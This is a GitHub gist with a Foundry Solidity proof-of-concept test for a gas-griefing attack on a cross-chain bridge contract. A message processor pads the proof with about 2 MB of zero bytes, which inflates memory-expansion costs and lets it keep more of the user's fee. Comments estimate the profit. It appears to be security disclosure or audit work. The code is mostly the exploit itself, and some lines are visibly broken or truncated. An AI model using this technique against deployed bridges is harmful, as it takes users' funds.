Skip to content

Instantly share code, notes, and snippets.

Last active May 27, 2024 14:26
Show Gist options
  • Save 0xmp/4d7f142df3259bd08cbf0545f4846e89 to your computer and use it in GitHub Desktop.
Save 0xmp/4d7f142df3259bd08cbf0545f4846e89 to your computer and use it in GitHub Desktop.
Memory expansion attack due to manual abi decoding
// SPDX-License-Identifier: MIT
pragma solidity 0.8.24;
import "forge-std/src/Test.sol";
import "@openzeppelin/contracts/proxy/ERC1967/ERC1967Proxy.sol";
import "../../contracts/bridge/Bridge.sol";
import "../../contracts/signal/SignalService.sol";
import "../../contracts/bridge/QuotaManager.sol";
// `forge test --mt test_MPBridgeWasteGas -vvvv --fork-url --isolate --no-gas-limit > BridgeGasTest.txt`
// From the gas costs in the traces and the logs, assuming a 10 gwei gas cost we calculate that the message
// processor makes a profit of >2e16, compared with 8.8e15 without the memory expansion attack.
contract DummyTarget {
function onMessageInvocation(bytes calldata _data) external payable {
uint256 gasBefore = gasleft();
uint256 toConsume = abi.decode(_data, (uint256));
while (gasBefore - gasleft() < toConsume - 200) {} // Waste up to `toConsume - 200` gas
receive() external payable {}
contract DummyVerifier {
function proveSignalReceived( // this is SignalService for simplicity
uint64 _chainId,
address _app,
bytes32 _signal,
bytes calldata _proof
returns (uint256 numCacheOps_)
ISignalService.HopProof[] memory hopProofs = abi.decode(_proof, (ISignalService.HopProof[]));
return 0;
contract ExpandMemoryTestBridge is Test {
using LibMath for uint256;
Bridge public bridge;
QuotaManager public quotaManager;
DummyTarget public dummyTarget;
DummyVerifier public dummyVerifier;
function setUp() public {
bridge = new Bridge();
ERC1967Proxy proxy = new ERC1967Proxy(address(bridge), abi.encodeCall(Bridge.init, (address(this), address(this))));
bridge = Bridge(payable(address(proxy)));
quotaManager = new QuotaManager();
proxy = new ERC1967Proxy(address(quotaManager), abi.encodeCall(QuotaManager.init, (address(this), address(this), 24 * 3600)));
quotaManager = QuotaManager(address(proxy));
quotaManager.updateQuota(address(0), 1000 ether);
dummyTarget = new DummyTarget();
dummyVerifier = new DummyVerifier();
vm.label(address(bridge), "Bridge");
vm.label(address(quotaManager), "QuotaManager");
vm.label(address(dummyTarget), "DummyTarget");
vm.label(address(dummyVerifier), "DummyVerifier");, 100 ether);, 1 ether);
function test_MPBridgeWasteGas() public {
uint24 gasInnerCall = 3e6; // Ask for 3M gas in external call to `onMessageInvocation`, thinking that user would be refunded unused gas.
bytes memory data = abi.encodeCall(DummyTarget.onMessageInvocation, (abi.encode(100_000, ""))); // `onMessageInvocation` consumes only 100_000 gas
IBridge.Message memory message = IBridge.Message({
id: 0,
fee: uint64(gasInnerCall) * 100e9 wei, // Send a generous fee of 100 gwei per gas, actual costs to process the message are 10 gwei.
gasLimit: uint32(gasInnerCall + 800_000 + (data.length + 256) / 16),
from: address(32),
srcChainId: 2,
srcOwner: address(48),
destChainId: 1,
destOwner: address(dummyTarget), // Not address(this) otherwise msg.gasLimit == gasleft()
to: address(dummyTarget),
value: 1 wei,
data: data
ISignalService.HopProof[] memory proof = new ISignalService.HopProof[](0); // Write up a proof, empty in this test.
bytes memory _proof = abi.encode(proof);
bytes memory _toAdd = hex"000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000";
uint256 previousLength = proof.length;
while (_toAdd.length < 2_000_000) { // Add >=2e6 of 0 bytes to the proof to increase the gas cost through memory expansion.
_toAdd = bytes.concat(_toAdd, _toAdd);
uint256 balanceBefore = address(this).balance;
bridge.processMessage(message, bytes.concat(_proof, _toAdd));
uint256 revenue = address(this).balance - balanceBefore;
console2.log("Sending %s extra bytes - Revenue: %e", _toAdd.length, revenue);
function getAddress(uint64 _chainId, bytes32 _name) external view returns (address) { // this is AddressManager for simplicity
if (_name == bytes32("signal_service") && _chainId == block.chainid) return address(dummyVerifier);
if (_name == bytes32("signal_service")) return address(17);
else if (_name == bytes32("bridge") && _chainId == block.chainid) return address(bridge);
else if (_name == bytes32("bridge")) return address(34);
else if (_name == bytes32("quota_manager") && _chainId == block.chainid) return address(quotaManager);
else if (_name == bytes32("erc20_vault") && _chainId == block.chainid) return address(51);
else console2.log("Unknown resolved address: %s", string(abi.encodePacked(_name)));
revert("Get address failed.");
receive() external payable {} // To receive the fee for processing the message
Sign up for free to join this conversation on GitHub. Already have an account? Sign in to comment